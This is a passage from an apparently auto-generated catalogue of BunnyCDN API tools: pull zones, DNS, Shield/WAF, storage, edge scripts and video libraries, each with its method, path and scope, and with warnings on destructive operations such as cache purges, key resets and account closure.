/api/v1/bunnycdn/compute/script/{id}/code. Scopes: api. bunnycdn_get_compute_script_by_id_releases (read) — Get Releases via GET /compute/script/{id}/releases GET /api/v1/bunnycdn/compute/script/{id}/releases. Scopes: api. bunnycdn_get_compute_script_by_id_releases_active (read) — Get Active Release via GET /compute/script/{id}/releases/active GET /api/v1/bunnycdn/compute/script/{id}/releases/active. Scopes: api. bunnycdn_get_compute_script_by_id_secrets (read) — List Secrets via GET /compute/script/{id}/secrets GET /api/v1/bunnycdn/compute/script/{id}/secrets. Scopes: api. bunnycdn_get_compute_script_by_id_statistics (read) — Get Edge Script Statistics via GET /compute/script/{id}/statistics GET /api/v1/bunnycdn/compute/script/{id}/statistics. Scopes: api. bunnycdn_get_compute_script_by_id_variables_by_variableid (read) — Get Variable via GET /compute/script/{id}/variables/{variableId} GET /api/v1/bunnycdn/compute/script/{id}/variables/{variableId}. Scopes: api. bunnycdn_get_country (read) — Get Country List via GET /country GET /api/v1/bunnycdn/country. Scopes: api. bunnycdn_get_dnszone (read) — List DNS Zones via GET /dnszone GET /api/v1/bunnycdn/dnszone. Scopes: api. bunnycdn_get_dnszone_by_id (read) — Get DNS Zone via GET /dnszone/{id} GET /api/v1/bunnycdn/dnszone/{id}. Scopes: api. bunnycdn_get_dnszone_by_id_statistics (read) — Get DNS Query Statistics via GET /dnszone/{id}/statistics GET /api/v1/bunnycdn/dnszone/{id}/statistics. Scopes: api. bunnycdn_get_dnszone_by_zoneid_records (read) — List DNS Zone Records via GET /dnszone/{zoneId}/records GET /api/v1/bunnycdn/dnszone/{zoneId}/records. Scopes: api. bunnycdn_get_dnszone_by_zoneid_records_scan (read) — Get the latest DNS record scan result for a DNS Zone via GET /dnszone/{zoneId}/records/scan GET /api/v1/bunnycdn/dnszone/{zoneId}/records/scan. Scopes: api. bunnycdn_get_pullzone (read) — List Pull Zones via GET /pullzone GET /api/v1/bunnycdn/pullzone. Scopes: api. bunnycdn_get_pullzone_by_id (read) — Get Pull Zone via GET /pullzone/{id} GET /api/v1/bunnycdn/pullzone/{id}. Scopes: api. bunnycdn_get_pullzone_by_pullzoneid_optimizer_statistics (read) — Get optimizer statistics via GET /pullzone/{pullZoneId}/optimizer/statistics GET /api/v1/bunnycdn/pullzone/{pullZoneId}/optimizer/statistics. Scopes: api. bunnycdn_get_pullzone_by_pullzoneid_originshield_queuestatistics (read) — Get Origin Shield Queue Statistics via GET /pullzone/{pullZoneId}/originshield/queuestatistics GET /api/v1/bunnycdn/pullzone/{pullZoneId}/originshield/queuestatistics. Scopes: api. bunnycdn_get_pullzone_by_pullzoneid_safehop_statistics (read) — Get SafeHop Statistics via GET /pullzone/{pullZoneId}/safehop/statistics GET /api/v1/bunnycdn/pullzone/{pullZoneId}/safehop/statistics. Scopes: api. bunnycdn_get_pullzone_count (read) — Count Pull Zones via GET /pullzone/count GET /api/v1/bunnycdn/pullzone/count. Scopes: api. bunnycdn_get_pullzone_loadfreecertificate (read) — Load Free Certificate via GET /pullzone/loadFreeCertificate GET /api/v1/bunnycdn/pullzone/loadFreeCertificate. Scopes: api. bunnycdn_get_region (read) — Region list via GET /region GET /api/v1/bunnycdn/region. Scopes: api. bunnycdn_get_search (read) — Global Search via GET /search GET /api/v1/bunnycdn/search. Scopes: api. bunnycdn_get_shield_ddos_enums (read) — List of all DDoS Enum Mappings via GET /shield/ddos/enums GET /api/v1/bunnycdn/shield/ddos/enums. Scopes: api. bunnycdn_get_shield_event_logs_by_shieldzoneid_by_date_by_continuationtoken (read) — Get Event Logs for Shield Zone via GET /shield/event-logs/{shieldZoneId}/{date}/{continuationToken} GET /api/v1/bunnycdn/shield/event-logs/{shieldZoneId}/{date}/{continuationToken}. Scopes: api. bunnycdn_get_shield_metrics_overages_by_shieldzoneid (read) — Get the overage breakdown for the specified Shield Zone for a given month, segmented by billing plan changes via GET /shield/metrics/overages/{shieldZoneId} GET /api/v1/bunnycdn/shield/metrics/overages/{shieldZoneId}. Scopes: api. bunnycdn_get_shield_metrics_overview_by_shieldzoneid (read) — Get an overview of metrics for the specified Shield Zone via GET /shield/metrics/overview/{shieldZoneId} GET /api/v1/bunnycdn/shield/metrics/overview/{shieldZoneId}. Scopes: api. bunnycdn_get_shield_metrics_overview_by_shieldzoneid_detailed (read) — Get a detailed metrics overview for the specified Shield Zone within the selected time range and resolution via GET /shield/metrics/overview/{shieldZoneId}/detailed GET /api/v1/bunnycdn/shield/metrics/overview/{shieldZoneId}/detailed. Scopes: api. bunnycdn_get_shield_metrics_rate_limit_by_id (read) — Get detailed metrics for the specified Rate Limit via GET /shield/metrics/rate-limit/{id} GET /api/v1/bunnycdn/shield/metrics/rate-limit/{id}. Scopes: api. bunnycdn_get_shield_metrics_rate_limits_by_shieldzoneid (read) — Get aggregated rate limit metrics for the specified Shield Zone via GET /shield/metrics/rate-limits/{shieldZoneId} GET /api/v1/bunnycdn/shield/metrics/rate-limits/{shieldZoneId}. Scopes: api. bunnycdn_get_shield_metrics_shield_zone_by_shieldzoneid_api_guardian (read) — Get API Guardian metrics for the specified Shield Zone via GET /shield/metrics/shield-zone/{shieldZoneId}/api-guardian GET /api/v1/bunnycdn/shield/metrics/shield-zone/{shieldZoneId}/api-guardian. Scopes: api. bunnycdn_get_shield_metrics_shield_zone_by_shieldzoneid_api_guardian_endpoint_by_endpointid (read) — Get metrics for a specific API Guardian endpoint within the specified Shield Zone via GET /shield/metrics/shield-zone/{shieldZoneId}/api-guardian/endpoint/{endpointId} GET /api/v1/bunnycdn/shield/metrics/shield-zone/{shieldZoneId}/api-guardian/endpoint/{endpointId}. Scopes: api. bunnycdn_get_shield_metrics_shield_zone_by_shieldzoneid_bot_detection (read) — Get bot detection metrics for the specified Shield Zone via GET /shield/metrics/shield-zone/{shieldZoneId}/bot-detection GET /api/v1/bunnycdn/shield/metrics/shield-zone/{shieldZoneId}/bot-detection. Scopes: api. bunnycdn_get_shield_metrics_shield_zone_by_shieldzoneid_upload_scanning (read) — Get upload scanning metrics for the specified Shield Zone via GET /shield/metrics/shield-zone/{shieldZoneId}/upload-scanning GET /api/v1/bunnycdn/shield/metrics/shield-zone/{shieldZoneId}/upload-scanning. Scopes: api. bunnycdn_get_shield_metrics_shield_zone_by_shieldzoneid_waf_rule_by_ruleid (read) — Get metrics for a specific WAF Rule within the specified Shield Zone via GET /shield/metrics/shield-zone/{shieldZoneId}/waf-rule/{ruleId} GET /api/v1/bunnycdn/shield/metrics/shield-zone/{shieldZoneId}/waf-rule/{ruleId}. Scopes: api. bunnycdn_get_shield_promo_state (read) — Get the current Promotion State for your Account via GET /shield/promo/state GET /api/v1/bunnycdn/shield/promo/state. Scopes: api. bunnycdn_get_shield_rate_limit_by_id (read) — Get Individual Rate Limit for your Shield Zone via GET /shield/rate-limit/{id} GET /api/v1/bunnycdn/shield/rate-limit/{id}. Scopes: api. bunnycdn_get_shield_rate_limits_by_shieldzoneid (read) — Get Rate Limits for your Shield Zone via GET /shield/rate-limits/{shieldZoneId} GET /api/v1/bunnycdn/shield/rate-limits/{shieldZoneId}. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid (read) — Get Singular Shield Zone Configuration via GET /shield/shield-zone/{shieldZoneId} GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid_access_lists (read) — Get all Access Lists available for a Shield Zone via GET /shield/shield-zone/{shieldZoneId}/access-lists GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/access-lists. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid_access_lists_by_id (read) — Get the specified Custom Access List associated with a Shield Zone via GET /shield/shield-zone/{shieldZoneId}/access-lists/{id} GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/access-lists/{id}. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid_access_lists_enums (read) — Get all Access Lists API enumeration types and their values via GET /shield/shield-zone/{shieldZoneId}/access-lists/enums GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/access-lists/enums. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid_api_guardian (read) — Get the API Guardian configuration and endpoints. via GET /shield/shield-zone/{shieldZoneId}/api-guardian GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/api-guardian. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid_api_guardian_enums (read) — Get all API Guardian enumeration types and their values via GET /shield/shield-zone/{shieldZoneId}/api-guardian/enums GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/api-guardian/enums. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid_bot_categorization (read) — List bots available for explicit allow/block configuration on this Shield Zone, grouped by category. via GET /shield/shield-zone/{shieldZoneId}/bot-categorization GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/bot-categorization. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid_bot_detection (read) — Your current Bot Detection configuration via GET /shield/shield-zone/{shieldZoneId}/bot-detection GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/bot-detection. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid_custom_page_by_pagetype (read) — Get a custom HTML response page for a Shield Zone via GET /shield/shield-zone/{shieldZoneId}/custom-page/{pageType} GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/custom-page/{pageType}. Scopes: api. bunnycdn_get_shield_shield_zone_by_shieldzoneid_upload_scanning (read) — Get your Current Upload Scanning Configuration via GET /shield/shield-zone/{shieldZoneId}/upload-scanning GET /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/upload-scanning. Scopes: api. bunnycdn_get_shield_shield_zone_defaults (read) — Get the recommended defaults for creating a Shield Zone via GET /shield/shield-zone/defaults GET /api/v1/bunnycdn/shield/shield-zone/defaults. Scopes: api. bunnycdn_get_shield_shield_zone_get_by_pullzone_by_pullzoneid (read) — Get Singular Shield Zone Configuration for PullZone via GET /shield/shield-zone/get-by-pullzone/{pullZoneId} GET /api/v1/bunnycdn/shield/shield-zone/get-by-pullzone/{pullZoneId}. Scopes: api. bunnycdn_get_shield_shield_zones (read) — Get all of your Shield Zone Configurations via GET /shield/shield-zones GET /api/v1/bunnycdn/shield/shield-zones. Scopes: api. bunnycdn_get_shield_shield_zones_pullzone_mapping (read) — Get Active Shield Zones for Pullzone Mapping via GET /shield/shield-zones/pullzone-mapping GET /api/v1/bunnycdn/shield/shield-zones/pullzone-mapping. Scopes: api. bunnycdn_get_shield_waf_custom_rule_by_id (read) — Retrieve a specific custom WAF rule via GET /shield/waf/custom-rule/{id} GET /api/v1/bunnycdn/shield/waf/custom-rule/{id}. Scopes: api. bunnycdn_get_shield_waf_custom_rules_by_shieldzoneid (read) — Retrieve custom WAF rules configured for the specified Shield Zone via GET /shield/waf/custom-rules/{shieldZoneId} GET /api/v1/bunnycdn/shield/waf/custom-rules/{shieldZoneId}. Scopes: api. bunnycdn_get_shield_waf_engine_config (read) — Retrieve the default WAF engine configuration via GET /shield/waf/engine-config GET /api/v1/bunnycdn/shield/waf/engine-config. Scopes: api. bunnycdn_get_shield_waf_enums (read) — Retrieve all available WAF enum mappings via GET /shield/waf/enums GET /api/v1/bunnycdn/shield/waf/enums. Scopes: api. bunnycdn_get_shield_waf_profiles (read) — Retrieve all available WAF profiles via GET /shield/waf/profiles GET /api/v1/bunnycdn/shield/waf/profiles. Scopes: api. bunnycdn_get_shield_waf_rules_by_shieldzoneid (read) — Retrieve all available WAF rules for a Shield Zone via GET /shield/waf/rules/{shieldZoneId} GET /api/v1/bunnycdn/shield/waf/rules/{shieldZoneId}. Scopes: api. bunnycdn_get_shield_waf_rules_plan_segmentation (read) — Retrieve WAF rules segmented by subscription plan via GET /shield/waf/rules/plan-segmentation GET /api/v1/bunnycdn/shield/waf/rules/plan-segmentation. Scopes: api. bunnycdn_get_shield_waf_rules_review_triggered_ai_recommendation_by_shieldzoneid_by_ruleid (read) — Retrieve an AI recommendation for a triggered WAF rule via GET /shield/waf/rules/review-triggered/ai-recommendation/{shieldZoneId}/{ruleId} GET /api/v1/bunnycdn/shield/waf/rules/review-triggered/ai-recommendation/{shieldZoneId}/{ruleId}. Scopes: api. bunnycdn_get_shield_waf_rules_review_triggered_by_shieldzoneid (read) — Review all triggered WAF rules for the specified Shield Zone via GET /shield/waf/rules/review-triggered/{shieldZoneId} GET /api/v1/bunnycdn/shield/waf/rules/review-triggered/{shieldZoneId}. Scopes: api. bunnycdn_get_statistics (read) — Get Statistics via GET /statistics GET /api/v1/bunnycdn/statistics. Scopes: api. bunnycdn_get_storagezone (read) — List Storage Zones via GET /storagezone GET /api/v1/bunnycdn/storagezone. Scopes: api. bunnycdn_get_storagezone_by_id (read) — Get Storage Zone via GET /storagezone/{id} GET /api/v1/bunnycdn/storagezone/{id}. Scopes: api. bunnycdn_get_storagezone_by_id_statistics (read) — Get Storage Zone Statistics via GET /storagezone/{id}/statistics GET /api/v1/bunnycdn/storagezone/{id}/statistics. Scopes: api. bunnycdn_get_storagezone_by_id_statistics_egress (read) — Get Storage Zone Egress Statistics via GET /storagezone/{id}/statistics/egress GET /api/v1/bunnycdn/storagezone/{id}/statistics/egress. Scopes: api. bunnycdn_get_storagezone_regions (read) — Get Storage Zone Regions via GET /storagezone/regions GET /api/v1/bunnycdn/storagezone/regions. Scopes: api. bunnycdn_get_user_audit_by_date (read) — Get User Audit Log via GET /user/audit/{date} GET /api/v1/bunnycdn/user/audit/{date}. Scopes: api. bunnycdn_get_v1_pricing_by_source_by_resourceid (read) — Get active price for a resource and optionally cost estimate if usage amount provided via GET /v1/pricing/{source}/{resourceId} GET /api/v1/bunnycdn/v1/pricing/{source}/{resourceId}. Scopes: api. bunnycdn_get_v2_pullzones_by_pullzoneid_logs (read) — Query CDN access logs for a pull zone. -- Authenticate with either an `Authorization` bearer JWT or an `AccessKey` header. Filter pushdown happens in ClickHouse where possible; `country` and free-text `search` are applied in-process after fetch. via GET /v2/pullzones/{pullZoneId}/logs Served from https://logging.bunnycdn.com, not https://api.bunny.net. GET /api/v1/bunnycdn/v2/pullzones/{pullZoneId}/logs. Scopes: api. bunnycdn_get_videolibrary (read) — List Video Libraries via GET /videolibrary GET /api/v1/bunnycdn/videolibrary. Scopes: api. bunnycdn_get_videolibrary_by_id (read) — Get Video Library via GET /videolibrary/{id} GET /api/v1/bunnycdn/videolibrary/{id}. Scopes: api. bunnycdn_get_videolibrary_by_id_drm_statistics (read) — Get Video Library DRM Statistics via GET /videolibrary/{id}/drm/statistics GET /api/v1/bunnycdn/videolibrary/{id}/drm/statistics. Scopes: api. bunnycdn_get_videolibrary_by_id_transcribing_statistics (read) — Get Video Library Transcribing Statistics via GET /videolibrary/{id}/transcribing/statistics GET /api/v1/bunnycdn/videolibrary/{id}/transcribing/statistics. Scopes: api. bunnycdn_get_videolibrary_languages (read) — Get Languages via GET /videolibrary/languages GET /api/v1/bunnycdn/videolibrary/languages. Scopes: api. bunnycdn_patch_shield_rate_limit_by_id (write) — Update a Rate Limit configuration on your Shield Zone via PATCH /shield/rate-limit/{id} PATCH /api/v1/bunnycdn/shield/rate-limit/{id}. Scopes: api. bunnycdn_patch_shield_shield_zone (write) — Update your Shield Zone configuration via PATCH /shield/shield-zone PATCH /api/v1/bunnycdn/shield/shield-zone. Scopes: api. bunnycdn_patch_shield_shield_zone_by_shieldzoneid_access_lists_by_id (write) — Update the specified Custom Access List associated with a Shield Zone via PATCH /shield/shield-zone/{shieldZoneId}/access-lists/{id} PATCH /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/access-lists/{id}. Scopes: api. bunnycdn_patch_shield_shield_zone_by_shieldzoneid_access_lists_configurations_by_id (write) — Update Access List Configuration for a Shield Zone via PATCH /shield/shield-zone/{shieldZoneId}/access-lists/configurations/{id} PATCH /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/access-lists/configurations/{id}. Scopes: api. bunnycdn_patch_shield_shield_zone_by_shieldzoneid_api_guardian (write) — Update the API Guardian configuration (enabled, execution mode, body limit action) via PATCH /shield/shield-zone/{shieldZoneId}/api-guardian PATCH /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/api-guardian. Scopes: api. bunnycdn_patch_shield_shield_zone_by_shieldzoneid_api_guardian_endpoint_by_endpointid (write) — Update your API Guardian Endpoint configuration via PATCH /shield/shield-zone/{shieldZoneId}/api-guardian/endpoint/{endpointId} PATCH /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/api-guardian/endpoint/{endpointId}. Scopes: api. bunnycdn_patch_shield_shield_zone_by_shieldzoneid_api_guardian_spec (write) — Update your OpenAPI specification via PATCH /shield/shield-zone/{shieldZoneId}/api-guardian/spec PATCH /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/api-guardian/spec. Scopes: api. bunnycdn_patch_shield_shield_zone_by_shieldzoneid_bot_detection (write) — Update your current Bot Detection configuration via PATCH /shield/shield-zone/{shieldZoneId}/bot-detection PATCH /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/bot-detection. Scopes: api. bunnycdn_patch_shield_shield_zone_by_shieldzoneid_upload_scanning (write) — Update your Upload Scanning Configuration via PATCH /shield/shield-zone/{shieldZoneId}/upload-scanning PATCH /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/upload-scanning. Scopes: api. bunnycdn_patch_shield_waf_custom_rule_by_id (write) — Update an existing custom WAF rule via PATCH /shield/waf/custom-rule/{id} PATCH /api/v1/bunnycdn/shield/waf/custom-rule/{id}. Scopes: api. bunnycdn_post_compute_script (write) — Add Edge Script via POST /compute/script POST /api/v1/bunnycdn/compute/script. Scopes: api. bunnycdn_post_compute_script_by_id (write) — Update Edge Script via POST /compute/script/{id} POST /api/v1/bunnycdn/compute/script/{id}. Scopes: api. bunnycdn_post_compute_script_by_id_code (write) — Set Code via POST /compute/script/{id}/code POST /api/v1/bunnycdn/compute/script/{id}/code. Scopes: api. bunnycdn_post_compute_script_by_id_deploymentkey_rotate (write, destructive) — Rotate Deployment Key via POST /compute/script/{id}/deploymentKey/rotate DESTRUCTIVE: this replaces the edge script's deployment key, so every pipeline holding the old key stops being able to deploy. POST /api/v1/bunnycdn/compute/script/{id}/deploymentKey/rotate. Scopes: api. bunnycdn_post_compute_script_by_id_publish (write) — Publish Release via POST /compute/script/{id}/publish POST /api/v1/bunnycdn/compute/script/{id}/publish. Scopes: api. bunnycdn_post_compute_script_by_id_publish_by_uuid (write) — Publish Release via POST /compute/script/{id}/publish/{uuid} POST /api/v1/bunnycdn/compute/script/{id}/publish/{uuid}. Scopes: api. bunnycdn_post_compute_script_by_id_secrets (write) — Add Secret via POST /compute/script/{id}/secrets POST /api/v1/bunnycdn/compute/script/{id}/secrets. Scopes: api. bunnycdn_post_compute_script_by_id_secrets_by_secretid (write) — Update Secret via POST /compute/script/{id}/secrets/{secretId} POST /api/v1/bunnycdn/compute/script/{id}/secrets/{secretId}. Scopes: api. bunnycdn_post_compute_script_by_id_variables_add (write) — Add Variable via POST /compute/script/{id}/variables/add POST /api/v1/bunnycdn/compute/script/{id}/variables/add. Scopes: api. bunnycdn_post_compute_script_by_id_variables_by_variableid (write) — Update Variable via POST /compute/script/{id}/variables/{variableId} POST /api/v1/bunnycdn/compute/script/{id}/variables/{variableId}. Scopes: api. bunnycdn_post_dnszone (write) — Add DNS Zone via POST /dnszone POST /api/v1/bunnycdn/dnszone. Scopes: api. bunnycdn_post_dnszone_by_id (write) — Update DNS Zones via POST /dnszone/{id} POST /api/v1/bunnycdn/dnszone/{id}. Scopes: api. bunnycdn_post_dnszone_by_id_dnssec (write) — Enable DNSSEC on a DNS Zone via POST /dnszone/{id}/dnssec POST /api/v1/bunnycdn/dnszone/{id}/dnssec. Scopes: api. bunnycdn_post_dnszone_by_zoneid_certificate_issue (write) — Issue new wildcard certificate via POST /dnszone/{zoneId}/certificate/issue POST /api/v1/bunnycdn/dnszone/{zoneId}/certificate/issue. Scopes: api. bunnycdn_post_dnszone_by_zoneid_import (write) — Import DNS Records via POST /dnszone/{zoneId}/import POST /api/v1/bunnycdn/dnszone/{zoneId}/import. Scopes: api. bunnycdn_post_dnszone_by_zoneid_records_by_id (write) — Update DNS Record via POST /dnszone/{zoneId}/records/{id} POST /api/v1/bunnycdn/dnszone/{zoneId}/records/{id}. Scopes: api. bunnycdn_post_dnszone_checkavailability (write) — Check the DNS zone availability via POST /dnszone/checkavailability POST /api/v1/bunnycdn/dnszone/checkavailability. Scopes: api. bunnycdn_post_dnszone_records_scan (write) — Trigger a background scan for pre-existing DNS records. Can use ZoneId for existing zones or Domain for pre-zone creation scenarios. via POST /dnszone/records/scan POST /api/v1/bunnycdn/dnszone/records/scan. Scopes: api. bunnycdn_post_pullzone (write) — Add Pull Zone via POST /pullzone POST /api/v1/bunnycdn/pullzone. Scopes: api. bunnycdn_post_pullzone_by_id (write) — Update Pull Zone via POST /pullzone/{id} POST /api/v1/bunnycdn/pullzone/{id}. Scopes: api. bunnycdn_post_pullzone_by_id_addallowedreferrer (write) — Add Allowed Referer via POST /pullzone/{id}/addAllowedReferrer POST /api/v1/bunnycdn/pullzone/{id}/addAllowedReferrer. Scopes: api. bunnycdn_post_pullzone_by_id_addblockedip (write) — Add Blocked IP via POST /pullzone/{id}/addBlockedIp POST /api/v1/bunnycdn/pullzone/{id}/addBlockedIp. Scopes: api. bunnycdn_post_pullzone_by_id_addblockedreferrer (write) — Add Blocked Referer via POST /pullzone/{id}/addBlockedReferrer POST /api/v1/bunnycdn/pullzone/{id}/addBlockedReferrer. Scopes: api. bunnycdn_post_pullzone_by_id_addcertificate (write) — Add Custom Certificate via POST /pullzone/{id}/addCertificate POST /api/v1/bunnycdn/pullzone/{id}/addCertificate. Scopes: api. bunnycdn_post_pullzone_by_id_addhostname (write) — Add Custom Hostname via POST /pullzone/{id}/addHostname POST /api/v1/bunnycdn/pullzone/{id}/addHostname. Scopes: api. bunnycdn_post_pullzone_by_id_purgecache (write, destructive) — Purge Cache via POST /pullzone/{id}/purgeCache DESTRUCTIVE: this discards the pull zone's cached content across the edge network; the origin absorbs every refill until the cache warms again. POST /api/v1/bunnycdn/pullzone/{id}/purgeCache. Scopes: api. bunnycdn_post_pullzone_by_id_removeallowedreferrer (write) — Remove Allowed Referer via POST /pullzone/{id}/removeAllowedReferrer POST /api/v1/bunnycdn/pullzone/{id}/removeAllowedReferrer. Scopes: api. bunnycdn_post_pullzone_by_id_removeblockedip (write) — Remove Blocked IP via POST /pullzone/{id}/removeBlockedIp POST /api/v1/bunnycdn/pullzone/{id}/removeBlockedIp. Scopes: api. bunnycdn_post_pullzone_by_id_removeblockedreferrer (write) — Remove Blocked Referer via POST /pullzone/{id}/removeBlockedReferrer POST /api/v1/bunnycdn/pullzone/{id}/removeBlockedReferrer. Scopes: api. bunnycdn_post_pullzone_by_id_resetsecuritykey (write, destructive) — Reset Token Key via POST /pullzone/{id}/resetSecurityKey DESTRUCTIVE: this replaces the pull zone's token-authentication signing key, so every URL already signed with the old key stops validating and every signer holding it must be updated. POST /api/v1/bunnycdn/pullzone/{id}/resetSecurityKey. Scopes: api. bunnycdn_post_pullzone_by_id_setforcessl (write) — Set Force SSL via POST /pullzone/{id}/setForceSSL POST /api/v1/bunnycdn/pullzone/{id}/setForceSSL. Scopes: api. bunnycdn_post_pullzone_by_id_updateprivatekeytype (write) — Change hostname private key type via POST /pullzone/{id}/updatePrivateKeyType POST /api/v1/bunnycdn/pullzone/{id}/updatePrivateKeyType. Scopes: api. bunnycdn_post_pullzone_by_pullzoneid_edgerules_addorupdate (write) — Add/Update Edge Rule via POST /pullzone/{pullZoneId}/edgerules/addOrUpdate POST /api/v1/bunnycdn/pullzone/{pullZoneId}/edgerules/addOrUpdate. Scopes: api. bunnycdn_post_pullzone_by_pullzoneid_edgerules_by_edgeruleid_setedgeruleenabled (write) — Set Edge Rule Enabled via POST /pullzone/{pullZoneId}/edgerules/{edgeRuleId}/setEdgeRuleEnabled POST /api/v1/bunnycdn/pullzone/{pullZoneId}/edgerules/{edgeRuleId}/setEdgeRuleEnabled. Scopes: api. bunnycdn_post_pullzone_checkavailability (write) — Check the pull zone availability via POST /pullzone/checkavailability POST /api/v1/bunnycdn/pullzone/checkavailability. Scopes: api. bunnycdn_post_pullzone_completeexternaldnscertificate (write) — Complete External DNS Certificate via POST /pullzone/completeExternalDnsCertificate POST /api/v1/bunnycdn/pullzone/completeExternalDnsCertificate. Scopes: api. bunnycdn_post_pullzone_completeexternalhttpcertificate (write) — Complete External HTTP Certificate via POST /pullzone/completeExternalHttpCertificate POST /api/v1/bunnycdn/pullzone/completeExternalHttpCertificate. Scopes: api. bunnycdn_post_pullzone_requestexternaldnscertificate (write) — Request External DNS Certificate via POST /pullzone/requestExternalDnsCertificate POST /api/v1/bunnycdn/pullzone/requestExternalDnsCertificate. Scopes: api. bunnycdn_post_pullzone_requestexternalhttpcertificate (write) — Request External HTTP Certificate via POST /pullzone/requestExternalHttpCertificate POST /api/v1/bunnycdn/pullzone/requestExternalHttpCertificate. Scopes: api. bunnycdn_post_purge (write, destructive) — Purge URL via POST /purge DESTRUCTIVE: this discards the cached content for the given URL across the edge network. POST /api/v1/bunnycdn/purge. Scopes: api. bunnycdn_post_shield_event_logs_by_shieldzoneid_export (write) — Export the full filtered Event Logs set for a Shield Zone as CSV via POST /shield/event-logs/{shieldZoneId}/export POST /api/v1/bunnycdn/shield/event-logs/{shieldZoneId}/export. Scopes: api. bunnycdn_post_shield_event_logs_by_shieldzoneid_search (write) — Search, filter and group Event Logs for a Shield Zone via POST /shield/event-logs/{shieldZoneId}/search POST /api/v1/bunnycdn/shield/event-logs/{shieldZoneId}/search. Scopes: api. bunnycdn_post_shield_rate_limit (write) — Create a Rate Limit for your Shield Zone via POST /shield/rate-limit POST /api/v1/bunnycdn/shield/rate-limit. Scopes: api. bunnycdn_post_shield_shield_zone (write) — Create a Shield Zone for your PullZone via POST /shield/shield-zone POST /api/v1/bunnycdn/shield/shield-zone. Scopes: api. bunnycdn_post_shield_shield_zone_by_shieldzoneid_access_lists (write) — Create a new Custom Access List associated with a Shield Zone via POST /shield/shield-zone/{shieldZoneId}/access-lists POST /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/access-lists. Scopes: api. bunnycdn_post_shield_shield_zone_by_shieldzoneid_api_guardian_spec (write) — Upload your OpenAPI specification via POST /shield/shield-zone/{shieldZoneId}/api-guardian/spec POST /api/v1/bunnycdn/shield/shield-zone/{shieldZoneId}/api-guardian/spec. Scopes: api. bunnycdn_post_shield_shield_zone_under_attack (write) — Create a Shield Zone in under-attack mode for your PullZone via POST /shield/shield-zone/under-attack POST /api/v1/bunnycdn/shield/shield-zone/under-attack. Scopes: api. bunnycdn_post_shield_waf_custom_rule (write) — Create a new custom WAF rule via POST /shield/waf/custom-rule POST /api/v1/bunnycdn/shield/waf/custom-rule. Scopes: api. bunnycdn_post_shield_waf_rules_review_triggered_by_shieldzoneid (write) — Review and update the action of a triggered WAF rule via POST /shield/waf/rules/review-triggered/{shieldZoneId} POST /api/v1/bunnycdn/shield/waf/rules/review-triggered/{shieldZoneId}. Scopes: api. bunnycdn_post_storagezone (write) — Add Storage Zone via POST /storagezone POST /api/v1/bunnycdn/storagezone. Scopes: api. bunnycdn_post_storagezone_by_id (write) — Update Storage Zone via POST /storagezone/{id} POST /api/v1/bunnycdn/storagezone/{id}. Scopes: api. bunnycdn_post_storagezone_by_id_resetpassword (write, destructive) — Reset Password via POST /storagezone/{id}/resetPassword DESTRUCTIVE: this immediately invalidates the storage zone's current password, which is also its Edge Storage API key -- every FTP client, upload pipeline and application holding the old value stops authenticating, and the old value cannot be restored. POST /api/v1/bunnycdn/storagezone/{id}/resetPassword. Scopes: api. bunnycdn_post_storagezone_checkavailability (write) — Check the storage zone availability via POST /storagezone/checkavailability POST /api/v1/bunnycdn/storagezone/checkavailability. Scopes: api. bunnycdn_post_storagezone_resetreadonlypassword (write, destructive) — Reset Read-Only Password via POST /storagezone/resetReadOnlyPassword DESTRUCTIVE: this immediately invalidates the storage zone's current read-only password, which is also its read-only Edge Storage API key -- every client holding the old value stops authenticating, and the old value cannot be restored. POST /api/v1/bunnycdn/storagezone/resetReadOnlyPassword. Scopes: api. bunnycdn_post_user_closeaccount (write, destructive) — Close the account -- Close the current user account via POST /user/closeaccount DESTRUCTIVE: this closes the entire bunny.net account, not a single resource. POST /api/v1/bunnycdn/user/closeaccount. Scopes: api. bunnycdn_post_videolibrary (write) — Add Video Library via POST /videolibrary POST /api/v1/bunnycdn/videolibrary. Scopes: api. bunnycdn_post_videolibrary_by_id (write) — Update Video Library via POST /videolibrary/{id} POST /api/v1/bunnycdn/videolibrary/{id}. Scopes: api. bunnycdn_post_videolibrary_by_id_addallowedreferrer (write) — Add Allowed Referer via POST /videolibrary/{id}/addAllowedReferrer POST /api/v1/bunnycdn/videolibrary/{id}/addAllowedReferrer. Scopes: api. bunnycdn_post_videolibrary_by_id_addblockedreferrer (write) — Add Blocked Referer via POST /videolibrary/{id}/addBlockedReferrer POST /api/v1/bunnycdn/videolibrary/{id}/addBlockedReferrer. Scopes: api. bunnycdn_post_videolibrary_by_id_removeallowedreferrer (write) — Remove Allowed Referer via POST /videolibrary/{id}/removeAllowedReferrer POST /api/v1/bunnycdn/videolibrary/{id}/removeAllowedReferrer. Scopes: api. bunnycdn_post_videolibrary_by_id_removeblockedreferrer (write) — Remove Blocked Referer via POST /videolibrary/{id}/removeBlockedReferrer POST /api/v1/bunnycdn/videolibrary/{id}/removeBlockedReferrer. Scopes: api. bunnycdn_post_videolibrary_by_id_resetapikey (write, destructive) — Reset 